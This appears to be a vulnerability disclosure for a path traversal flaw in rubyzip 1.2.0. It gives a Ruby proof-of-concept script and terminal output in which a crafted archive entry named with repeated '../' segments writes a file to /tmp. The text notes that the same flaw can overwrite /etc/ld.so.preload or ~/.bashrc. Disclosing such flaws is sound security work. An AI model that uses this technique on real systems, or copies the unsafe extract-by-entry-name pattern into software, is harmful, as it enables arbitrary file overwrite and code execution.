Rubyzip module allows to overwrite or create arbitrary files via relative filenames and executing malicious code, e.g. by writing to /etc/ld.so.preload
, ~/.bashrc
.
Proof of Concept
# rubyzip_traversal.rb
require 'zip'
Zip::File.open('traversal.zip') do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
# Extract to file/directory/symlink
puts "Extracting #{entry.name}"
entry.extract(entry.name)
end
end
$ uname -rsv
Darwin 16.3.0 Darwin Kernel Version 16.3.0: Thu Nov 17 20:23:58 PST 2016; root:xnu-3789.31.2~1/RELEASE_X86_64
$ ruby --version
ruby 2.3.3p222 (2016-11-21 revision 56859) [x86_64-darwin16]
$ gem list | grep zip
rubyzip (1.2.0)
$ unzip traversal.zip
Archive: traversal.zip
warning: skipped "../" path component(s) in ../../../../../../../../../../../../../../tmp/zip_attack123
inflating: tmp/zip_attack123
$ ls -al /tmp/zip_attack123
ls: cannot access '/tmp/zip_attack123': No such file or directory
$ ruby rubyzip_test_traversal.rb
Invalid date/time in zip entry
Extracting ../../../../../../../../../../../../../../tmp/zip_attack123
Invalid date/time in zip entry
$ ls -al /tmp/zip_attack123
-rw-r--r-- 1 anon wheel 11 Jan 31 23:24 /tmp/zip_attack123